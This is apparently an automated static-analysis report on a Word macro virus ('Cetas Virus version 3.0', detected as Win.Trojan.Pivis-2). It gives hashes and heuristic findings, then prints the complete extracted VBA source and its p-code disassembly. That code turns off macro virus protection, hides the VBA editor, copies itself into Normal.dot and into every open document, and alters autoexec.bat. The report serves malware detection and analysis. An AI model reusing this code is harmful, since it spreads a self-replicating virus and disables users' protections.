Win.Trojan.Pivis-2 — Office (OLE) malware analysis

Static analysis result for SHA-256 6e4e8c2505f97adc…

MALICIOUS

Office (OLE)

93.5 KB Created: 1999-10-09 11:29:00 Authoring application: Microsoft Word 8.0 First seen: 2015-10-01
MD5: c1c4556aef062f541abdea1e81fac810 SHA-1: 12c79451e616654a24da0bfeb025b7bf2a04279e SHA-256: 6e4e8c2505f97adcd1de3f7c7abe4082c489d6c0025bb151e3df45bddc77fb8d
236 Risk Score

Malware Insights

Win.Trojan.Pivis-2 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder T1553.005 Security Software Installation

The sample contains VBA macros that attempt to disable macro virus protection and replicate themselves into the Normal template, as indicated by the 'OLE_VBA_MACRO_VIRUS_REPLICATION' heuristic. The ClamAV detections 'Win.Trojan.Pivis-2' and 'Doc.Trojan.Opey-12' further confirm its malicious nature. The script also attempts to disable the 'Visual Basic' command bar and other security-related features.

Heuristics 6

  • ClamAV: Win.Trojan.Pivis-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Pivis-2
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
            .VirusProtection = False
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 18755 bytes
SHA-256: 4c749e9072848e8484db971c4f17632bd4fe6f43b77c82a16617985902d0c2b0
Detection
ClamAV: Doc.Trojan.Opey-12
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "xHeCs3"
Sub vxConTrol()
'
' Cetas Virus version 3.0 by xHeCs
' ATTENTION LAMERS that's you !!!.
'     You can learn a lot from this virus, But Please respect
' What is not yours.
'
On Error Resume Next
Application.UserName = "PAcMAn"
Application.UserAddress = "PAcMAn ZonE"
Application.UserInitials = "xHeCs"
With Dialogs(wdDialogFileSummaryInfo)
        .Author = "xHeCs"
        .Comments = "Life is like a box of chocolate you'll never know what your gonna get :)"
        .Execute
End With
With Options
        .ConfirmConversions = False
        .VirusProtection = False
        .SaveNormalPrompt = False
End With
With ActiveDocument
   .ReadOnlyRecommended = False
End With
On Error Resume Next
CommandBars("Visual Basic").Visible = False
CommandBars("Visual Basic").Enabled = False
CommandBars("Visual Basic").Protection = msoBarNoChangeVisible
CommandBars("Visual Basic").Protection = msoBarNoCustomize
CommandBars("Tools").Controls("Macro").Delete
CommandBars("Tools").Controls("Customize...").Delete
CustomizationContext = NormalTemplate
FindKey(BuildKeyCode(wdKeyF11, wdKeyAlt)).Disable
FindKey(BuildKeyCode(wdKeyF8, wdKeyAlt)).Disable

NTInfected = False
For I = NormalTemplate.VBProject.VBComponents.Count To 1 Step -1
            clan = NormalTemplate.VBProject.VBComponents(I).Name
                If clan = "xHeCs3" Then NTInfected = True
                If (clan <> "xHeCs3") And (clan <> "ThisDocument") Then Application.OrganizerDelete Source:=NormalTemplate.FullName, Name:=clan, Object:=wdOrganizerObjectProjectItems
Next I
    For Each opendoc In Documents
            ODInfected = False
            With opendoc
                For J = opendoc.VBProject.VBComponents.Count To 1 Step -1
                clan = opendoc.VBProject.VBComponents(J).Name
                    If clan = "xHeCs3" Then ODInfected = True
                    If (clan <> "xHeCs3") And (clan <> "ThisDocument") And (clan <> "Reference to Normal") Then Application.OrganizerDelete Source:=opendoc.FullName, Name:=clan, Object:=wdOrganizerObjectProjectItems
     Next J
     If ODInfected = False Then
                    Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=opendoc.FullName, Name:="xHeCs3", Object:=wdOrganizerObjectProjectItems
     opendoc.SaveAs FileName:=opendoc.FullName
                End If
            End With
        Next opendoc
            If NTInfected = False Then
                Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="xHeCs3", Object:=wdOrganizerObjectProjectItems
                NormalTemplate.Save
            End If


Application.VBE.ActiveVBProject.VBComponents("xHeCs3").Export "c:\WinCTL.sys"

For I = 1 To NormalTemplate.VBProject.VBComponents.Count
  If NormalTemplate.VBProject.VBComponents(I).Name = "xHeCs3" Then NormInstall = True
Next I
For I = 1 To ActiveDocument.VBProject.VBComponents.Count
  If ActiveDocument.VBProject.VBComponents(I).Name = "xHeCs3" Then ActivInstall = True
Next I
If ActivInstall = True And NormInstall = False Then Set Target = NormalTemplate.VBProject _
Else: If ActivInstall = False And NormInstall = True Then Set Target = ActiveDocument.VBProject
Target.VBComponents.Import ("c:\WinCtl.sys")
End Sub
Sub FileSave()
    On Error Resume Next
    Call vxConTrol
    ActiveDocument.Save
End Sub
Sub FileClose()
    On Error Resume Next
    Call vxConTrol
    If ActiveDocument.Saved = False Then ActiveDocument.Save
    ActiveDocument.Close
End Sub
Sub AutoOpen()
    On Error Resume Next
    Call vxConTrol
End Sub
Sub FileExit()
    On Error Resume Next
    Call vxConTrol
    If ActiveDocument.Saved = False Then ActiveDocument.Save
    Application.quit
End Sub
Sub FileNew()
    On Error Resume Next
    Dialogs(wdDialogFileNew).Show
    newfile$ = 1
    Call vxConTrol
End Sub
Sub EditFind()
    On Error Resume Next
    Dialogs(wdDialogEditFind).Show
    Call vxConTrol
End Sub
Sub AutoExec()
    On Error Resume Next
    Call vxConTrol
End Sub
Sub FileSaveAs()
    On Error Resume Next
    Call vxConTrol
    Dialogs(wdDialogFileSaveAs).Show
End Sub
Sub FilePageSetup()
    On Error Resume Next
    Call vxConTrol
    Dialogs(wdDialogFilePageSetup).Show
End Sub
Sub FilePrint()
    On Error Resume Next
    Call vxConTrol
    Dialogs(wdDialogFilePrint).Show
End Sub
Sub FileOpen()
    On Error Resume Next
    Dialogs(wdDialogFileOpen).Show
    Call vxConTrol
End Sub
Function Delay()
    For I = 0 To 10000000
    Next I
End Function
Sub AutoClose()
    On Error Resume Next
    Call vxConTrol
    If (Minute(Time) = 35) Then
        If (Second(Time) Mod 2) = 0 Then
          DirTest = DIR("C:\WinSys.Vxd")
          If DirTest <> "" Then
             Filecopy "C:\Autoexec.bat", "C:\WinSys.Vxd"
             autoexecfile$ = "c:\autoexec.bat"
             hFile = FreeFile
             Open autoexecfile$ For Append Access Write As hFile
                        Print #hFile, "@echo off"
                        Print #hFile, "If Exist Vx.Dat Goto End"
                        Print #hFile, "echo Cetas virus Version 3.0 "
                        Print #hFile, "echo (C)Copyright 1999-2000 xHeCs"
                        Print #hFile, "pause"
                        Print #hFile, "copy/y WinSys.Vxd Autoexec.bat >NULL"
                        Print #hFile, "echo Cetas Virus version 3.0 by xHeCS >Vx.Dat"
                        Print #hFile, ":End"
             Close hFile
          End If
    End If
    End If
NoBox:
End Sub

' Processing file: /opt/analyzer/scan_staging/8184922c6fe64cdda6bdfaeb70d05212.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 1128 bytes
' Macros/VBA/xHeCs3 - 8796 bytes
' Line #0:
' 	FuncDefn (Sub vxConTrol())
' Line #1:
' 	QuoteRem 0x0000 0x0000 ""
' Line #2:
' 	QuoteRem 0x0000 0x0021 " Cetas Virus version 3.0 by xHeCs"
' Line #3:
' 	QuoteRem 0x0000 0x0021 " ATTENTION LAMERS that's you !!!."
' Line #4:
' 	QuoteRem 0x0000 0x003C "     You can learn a lot from this virus, But Please respect"
' Line #5:
' 	QuoteRem 0x0000 0x0013 " What is not yours."
' Line #6:
' 	QuoteRem 0x0000 0x0000 ""
' Line #7:
' 	OnError (Resume Next) 
' Line #8:
' 	LitStr 0x0006 "PAcMAn"
' 	Ld Application 
' 	MemSt UserName 
' Line #9:
' 	LitStr 0x000B "PAcMAn ZonE"
' 	Ld Application 
' 	MemSt UserAddress 
' Line #10:
' 	LitStr 0x0005 "xHeCs"
' 	Ld Application 
' 	MemSt UserInitials 
' Line #11:
' 	StartWithExpr 
' 	Ld wdDialogFileSummaryInfo 
' 	ArgsLd Dialogs 0x0001 
' 	With 
' Line #12:
' 	LitStr 0x0005 "xHeCs"
' 	MemStWith Author 
' Line #13:
' 	LitStr 0x0048 "Life is like a box of chocolate you'll never know what your gonna get :)"
' 	MemStWith Comments 
' Line #14:
' 	ArgsMemCallWith Execute 0x0000 
' Line #15:
' 	EndWith 
' Line #16:
' 	StartWithExpr 
' 	Ld Options 
' 	With 
' Line #17:
' 	LitVarSpecial (False)
' 	MemStWith ConfirmConversions 
' Line #18:
' 	LitVarSpecial (False)
' 	MemStWith VirusProtection 
' Line #19:
' 	LitVarSpecial (False)
' 	MemStWith SaveNormalPrompt 
' Line #20:
' 	EndWith 
' Line #21:
' 	StartWithExpr 
' 	Ld ActiveDocument 
' 	With 
' Line #22:
' 	LitVarSpecial (False)
' 	MemStWith ReadOnlyRecommended 
' Line #23:
' 	EndWith 
' Line #24:
' 	OnError (Resume Next) 
' Line #25:
' 	LitVarSpecial (False)
' 	LitStr 0x000C "Visual Basic"
' 	ArgsLd CommandBars 0x0001 
' 	MemSt Visible 
' Line #26:
' 	LitVarSpecial (False)
' 	LitStr 0x000C "Visual Basic"
' 	ArgsLd CommandBars 0x0001 
' 	MemSt Enabled 
' Line #27:
' 	Ld msoBarNoChangeVisible 
' 	LitStr 0x000C "Visual Basic"
' 	ArgsLd CommandBars 0x0001 
' 	MemSt Protection 
' Line #28:
' 	Ld msoBarNoCustomize 
' 	LitStr 0x000C "Visual Basic"
' 	ArgsLd CommandBars 0x0001 
' 	MemSt Protection 
' Line #29:
' 	LitStr 0x0005 "Macro"
' 	LitStr 0x0005 "Tools"
' 	ArgsLd CommandBars 0x0001 
' 	ArgsMemLd Controls 0x0001 
' 	ArgsMemCall Delete 0x0000 
' Line #30:
' 	LitStr 0x000C "Customize..."
' 	LitStr 0x0005 "Tools"
' 	ArgsLd CommandBars 0x0001 
' 	ArgsMemLd Controls 0x0001 
' 	ArgsMemCall Delete 0x0000 
' Line #31:
' 	Ld NormalTemplate 
' 	St CustomizationContext 
' Line #32:
' 	Ld wdKeyF11 
' 	Ld wdKeyAlt 
' 	ArgsLd BuildKeyCode 0x0002 
' 	ArgsLd FindKey 0x0001 
' 	ArgsMemCall Disable 0x0000 
' Line #33:
' 	Ld wdKeyF8 
' 	Ld wdKeyAlt 
' 	ArgsLd BuildKeyCode 0x0002 
' 	ArgsLd FindKey 0x0001 
' 	ArgsMemCall Disable 0x0000 
' Line #34:
' Line #35:
' 	LitVarSpecial (False)
' 	St NTInfected 
' Line #36:
' 	StartForVariable 
' 	Ld I 
' 	EndForVariable 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	MemLd Count 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	UMi 
' 	ForStep 
' Line #37:
' 	Ld I 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd New 
' 	St clan 
' Line #38:
' 	Ld clan 
' 	LitStr 0x0006 "xHeCs3"
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitVarSpecial (True)
' 	St NTInfected 
' 	EndIf 
' Line #39:
' 	Ld clan 
' 	LitStr 0x0006 "xHeCs3"
' 	Ne 
' 	Paren 
' 	Ld clan 
' 	LitStr 0x000C "ThisDocument"
' 	Ne 
' 	Paren 
' 	And 
' 	If 
' 	BoSImplicit 
' 	Ld NormalTemplate 
' 	MemLd FullName 
' 	ParamNamed Source 
' 	Ld clan 
' 	ParamNamed New 
' 	Ld wdOrganizerObjectProjectItems 
' 	ParamNamed On 
' 	Ld Application 
' 	ArgsMemCall OrganizerDelete 0x0003 
' 	EndIf 
' Line #40:
' 	StartForVariable 
' 	Ld I 
' 	EndForVariable 
' 	NextVar 
' Line #41:
' 	StartForVariable 
' 	Ld opendoc 
' 	EndForVariable 
' 	Ld Documents 
' 	ForEach 
' Line #42:
' 	LitVarSpecial (False)
' 	St ODInfected 
' Line #43:
' 	StartWithExpr 
' 	Ld opendoc 
' 	With 
' Line #44:
' 	StartForVariable 
' 	Ld J 
' 	EndForVariable 
' 	Ld opendoc 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	MemLd Count 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	UMi 
' 	ForStep 
' Line #45:
' 	Ld J 
' 	Ld opendoc 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd New 
' 	St clan 
' Line #46:
' 	Ld clan 
' 	LitStr 0x0006 "xHeCs3"
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitVarSpecial (True)
' 	St ODInfected 
' 	EndIf 
' Line #47:
' 	Ld clan 
' 	LitStr 0x0006 "xHeCs3"
' 	Ne 
' 	Paren 
' 	Ld clan 
' 	LitStr 0x000C "ThisDocument"
' 	Ne 
' 	Paren 
' 	And 
' 	Ld clan 
' 	LitStr 0x0013 "Reference to Normal"
' 	Ne 
' 	Paren 
' 	And 
' 	If 
' 	BoSImplicit 
' 	Ld opendoc 
' 	MemLd FullName 
' 	ParamNamed Source 
' 	Ld clan 
' 	ParamNamed New 
' 	Ld wdOrganizerObjectProjectItems 
' 	ParamNamed On 
' 	Ld Application 
' 	ArgsMemCall OrganizerDelete 0x0003 
' 	EndIf 
' Line #48:
' 	StartForVariable 
' 	Ld J 
' 	EndForVariable 
' 	NextVar 
' Line #49:
' 	Ld ODInfected 
' 	LitVarSpecial (False)
' 	Eq 
' 	IfBlock 
' Line #50:
' 	Ld NormalTemplate 
' 	MemLd FullName 
' 	ParamNamed Source 
' 	Ld opendoc 
' 	MemLd FullName 
' 	ParamNamed Destination 
' 	LitStr 0x0006 "xHeCs3"
' 	ParamNamed New 
' 	Ld wdOrganizerObjectProjectItems 
' 	ParamNamed On 
' 	Ld Application 
' 	ArgsMemCall OrganizerCopy 0x0004 
' Line #51:
' 	Ld opendoc 
' 	MemLd FullName 
' 	ParamNamed FileName 
' 	Ld opendoc 
' 	ArgsMemCall SaveAs 0x0001 
' Line #52:
' 	EndIfBlock 
' Line #53:
' 	EndWith 
' Line #54:
' 	StartForVariable 
' 	Ld opendoc 
' 	EndForVariable 
' 	NextVar 
' Line #55:
' 	Ld NTInfected 
' 	LitVarSpecial (False)
' 	Eq 
' 	IfBlock 
' Line #56:
' 	Ld ActiveDocument 
' 	MemLd FullName 
' 	ParamNamed Source 
' 	Ld NormalTemplate 
' 	MemLd FullName 
' 	ParamNamed Destination 
' 	LitStr 0x0006 "xHeCs3"
' 	ParamNamed New 
' 	Ld wdOrganizerObjectProjectItems 
' 	ParamNamed On 
' 	Ld Application 
' 	ArgsMemCall OrganizerCopy 0x0004 
' Line #57:
' 	Ld NormalTemplate 
' 	ArgsMemCall Save 0x0000 
' Line #58:
' 	EndIfBlock 
' Line #59:
' Line #60:
' Line #61:
' 	LitStr 0x000D "c:\WinCTL.sys"
' 	LitStr 0x0006 "xHeCs3"
' 	Ld Application 
' 	MemLd VBE 
' 	MemLd ActiveVBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	ArgsMemCall Export 0x0001 
' Line #62:
' Line #63:
' 	StartForVariable 
' 	Ld I 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	MemLd Count 
' 	For 
' Line #64:
' 	Ld I 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd New 
' 	LitStr 0x0006 "xHeCs3"
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitVarSpecial (True)
' 	St NormInstall 
' 	EndIf 
' Line #65:
' 	StartForVariable 
' 	Ld I 
' 	EndForVariable 
' 	NextVar 
' Line #66:
' 	StartForVariable 
' 	Ld I 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	MemLd Count 
' 	For 
' Line #67:
' 	Ld I 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd New 
' 	LitStr 0x0006 "xHeCs3"
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitVarSpecial (True)
' 	St ActivInstall 
' 	EndIf 
' Line #68:
' 	StartForVariable 
' 	Ld I 
' 	EndForVariable 
' 	NextVar 
' Line #69:
' 	LineCont 0x0004 0F 00 00 00
' 	Ld ActivInstall 
' 	LitVarSpecial (True)
' 	Eq 
' 	Ld NormInstall 
' 	LitVarSpecial (False)
' 	Eq 
' 	And 
' 	If 
' 	BoSImplicit 
' 	SetStmt 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	Set Target 
' 	Else 
' 	BoSImplicit 
' 	BoS 0x0000 
' 	Ld ActivInstall 
' 	LitVarSpecial (False)
' 	Eq 
' 	Ld NormInstall 
' 	LitVarSpecial (True)
' 	Eq 
' 	And 
' 	If 
' 	BoSImplicit 
' 	SetStmt 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	Set Target 
' 	EndIf 
' 	EndIf 
' Line #70:
' 	LitStr 0x000D "c:\WinCtl.sys"
' 	Paren 
' 	Ld Target 
' 	MemLd VBComponents 
' 	ArgsMemCall Import 0x0001 
' Line #71:
' 	EndSub 
' Line #72:
' 	FuncDefn (Sub FileSave())
' Line #73:
' 	OnError (Resume Next) 
' Line #74:
' 	ArgsCall (Call) vxConTrol 0x0000 
' Line #75:
' 	Ld ActiveDocument 
' 	ArgsMemCall Save 0x0000 
' Line #76:
' 	EndSub 
' Line #77:
' 	FuncDefn (Sub FileClose())
' Line #78:
' 	OnError (Resume Next) 
' Line #79:
' 	ArgsCall (Call) vxConTrol 0x0000 
' Line #80:
' 	Ld ActiveDocument 
' 	MemLd Saved 
' 	LitVarSpecial (False)
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	Ld ActiveDocument 
' 	ArgsMemCall Save 0x0000 
' 	EndIf 
' Line #81:
' 	Ld ActiveDocument 
' 	ArgsMemCall Close 0x0000 
' Line #82:
' 	EndSub 
' Line #83:
' 	FuncDefn (Sub AutoOpen())
' Line #84:
' 	OnError (Resume Next) 
' Line #85:
' 	ArgsCall (Call) vxConTrol 0x0000 
' Line #86:
' 	EndSub 
' Line #87:
' 	FuncDefn (Sub FileExit())
' Line #88:
' 	OnError (Resume Next) 
' Line #89:
' 	ArgsCall (Call) vxConTrol 0x0000 
' Line #90:
' 	Ld ActiveDocument 
' 	MemLd Saved 
' 	LitVarSpecial (False)
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	Ld ActiveDocument 
' 	ArgsMemCall Save 0x0000 
' 	EndIf 
' Line #91:
' 	Ld Application 
' 	ArgsMemCall quit 0x0000 
' Line #92:
' 	EndSub 
' Line #93:
' 	FuncDefn (Sub FileNew())
' Line #94:
' 	OnError (Resume Next) 
' Line #95:
' 	Ld wdDialogFileNew 
' 	ArgsLd Dialogs 0x0001 
' 	ArgsMemCall Show 0x0000 
' Line #96:
' 	LitDI2 0x0001 
' 	St newfile$ 
' Line #97:
' 	ArgsCall (Call) vxConTrol 0x0000 
' Line #98:
' 	EndSub 
' Line #99:
' 	FuncDefn (Sub EditFind())
' Line #100:
' 	OnError (Resume Next) 
' Line #101:
' 	Ld wdDialogEditFind 
' 	ArgsLd Dialogs 0x0001 
' 	ArgsMemCall Show 0x0000 
' Line #102:
' 	ArgsCall (Call) vxConTrol 0x0000 
' Line #103:
' 	EndSub 
' Line #104:
' 	FuncDefn (Sub AutoExec())
' Line #105:
' 	OnError (Resume Next) 
' Line #106:
' 	ArgsCall (Call) vxConTrol 0x0000 
' Line #107:
' 	EndSub 
' Line #108:
' 	FuncDefn (Sub FileSaveAs())
' Line #109:
' 	OnError (Resume Next) 
' Line #110:
' 	ArgsCall (Call) vxConTrol 0x0000 
' Line #111:
' 	Ld wdDialogFileSaveAs 
' 	ArgsLd Dialogs 0x0001 
' 	ArgsMemCall Show 0x0000 
' Line #112:
' 	EndSub 
' Line #113:
' 	FuncDefn (Sub FilePageSetup())
' Line #114:
' 	OnError (Resume Next) 
' Line #115:
' 	ArgsCall (Call) vxConTrol 0x0000 
' Line #116:
' 	Ld wdDialogFilePageSetup 
' 	ArgsLd Dialogs 0x0001 
' 	ArgsMemCall Show 0x0000 
' Line #117:
' 	EndSub 
' Line #118:
' 	FuncDefn (Sub FilePrint())
' Line #119:
' 	OnError (Resume Next) 
' Line #120:
' 	ArgsCall (Call) vxConTrol 0x0000 
' Line #121:
' 	Ld wdDialogFilePrint 
' 	ArgsLd Dialogs 0x0001 
' 	ArgsMemCall Show 0x0000 
' Line #122:
' 	EndSub 
' Line #123:
' 	FuncDefn (Sub FileOpen())
' Line #124:
' 	OnError (Resume Next) 
' Line #125:
' 	Ld wdDialogFileOpen 
' 	ArgsLd Dialogs 0x0001 
' 	ArgsMemCall Show 0x0000 
' Line #126:
' 	ArgsCall (Call) vxConTrol 0x0000 
' Line #127:
' 	EndSub 
' Line #128:
' 	FuncDefn (Function Delay())
' Line #129:
' 	StartForVariable 
' 	Ld I 
' 	EndForVariable 
' 	LitDI2 0x0000 
' 	LitDI4 0x9680 0x0098 
' 	For 
' Line #130:
' 	StartForVariable 
' 	Ld I 
' 	EndForVariable 
' 	NextVar 
' Line #131:
' 	EndFunc 
' Line #132:
' 	FuncDefn (Sub AutoClose())
' Line #133:
' 	OnError (Resume Next) 
' Line #134:
' 	ArgsCall (Call) vxConTrol 0x0000 
' Line #135:
' 	Ld Time 
' 	ArgsLd Minute 0x0001 
' 	LitDI2 0x0023 
' 	Eq 
' 	Paren 
' 	IfBlock 
' Line #136:
' 	Ld Time 
' 	ArgsLd Second 0x0001 
' 	LitDI2 0x0002 
' 	Mod 
' 	Paren 
' 	LitDI2 0x0000 
' 	Eq 
' 	IfBlock 
' Line #137:
' 	LitStr 0x000D "C:\WinSys.Vxd"
' 	ArgsLd Dir 0x0001 
' 	St DirTest 
' Line #138:
' 	Ld DirTest 
' 	LitStr 0x0000 ""
' 	Ne 
' 	IfBlock 
' Line #139:
' 	LitStr 0x000F "C:\Autoexec.bat"
' 	LitStr 0x000D "C:\WinSys.Vxd"
' 	ArgsCall Filecopy 0x0002 
' Line #140:
' 	LitStr 0x000F "c:\autoexec.bat"
' 	St autoexecfile$ 
' Line #141:
' 	Ld Friend 
' 	St hFile 
' Line #142:
' 	Ld autoexecfile$ 
' 	Ld hFile 
' 	LitDefault 
' 	Open (For Append Access Write)
' Line #143:
' 	Ld hFile 
' 	Sharp 
' 	PrintChan 
' 	LitStr 0x0009 "@echo off"
' 	PrintItemNL 
' Line #144:
' 	Ld hFile 
' 	Sharp 
' 	PrintChan 
' 	LitStr 0x0018 "If Exist Vx.Dat Goto End"
' 	PrintItemNL 
' Line #145:
' 	Ld hFile 
' 	Sharp 
' 	PrintChan 
' 	LitStr 0x001D "echo Cetas virus Version 3.0 "
' 	PrintItemNL 
' Line #146:
' 	Ld hFile 
' 	Sharp 
' 	PrintChan 
' 	LitStr 0x0021 "echo (C)Copyright 1999-2000 xHeCs"
' 	PrintItemNL 
' Line #147:
' 	Ld hFile 
' 	Sharp 
' 	PrintChan 
' 	LitStr 0x0005 "pause"
' 	PrintItemNL 
' Line #148:
' 	Ld hFile 
' 	Sharp 
' 	PrintChan 
' 	LitStr 0x0024 "copy/y WinSys.Vxd Autoexec.bat >NULL"
' 	PrintItemNL 
' Line #149:
' 	Ld hFile 
' 	Sharp 
' 	PrintChan 
' 	LitStr 0x002D "echo Cetas Virus version 3.0 by xHeCS >Vx.Dat"
' 	PrintItemNL 
' Line #150:
' 	Ld hFile 
' 	Sharp 
' 	PrintChan 
' 	LitStr 0x0004 ":End"
' 	PrintItemNL 
' Line #151:
' 	Ld hFile 
' 	Close 0x0001 
' Line #152:
' 	EndIfBlock 
' Line #153:
' 	EndIfBlock 
' Line #154:
' 	EndIfBlock 
' Line #155:
' 	Label NoBox 
' Line #156:
' 	EndSub

Open this report in the interactive analyzer, or submit your own file for analysis.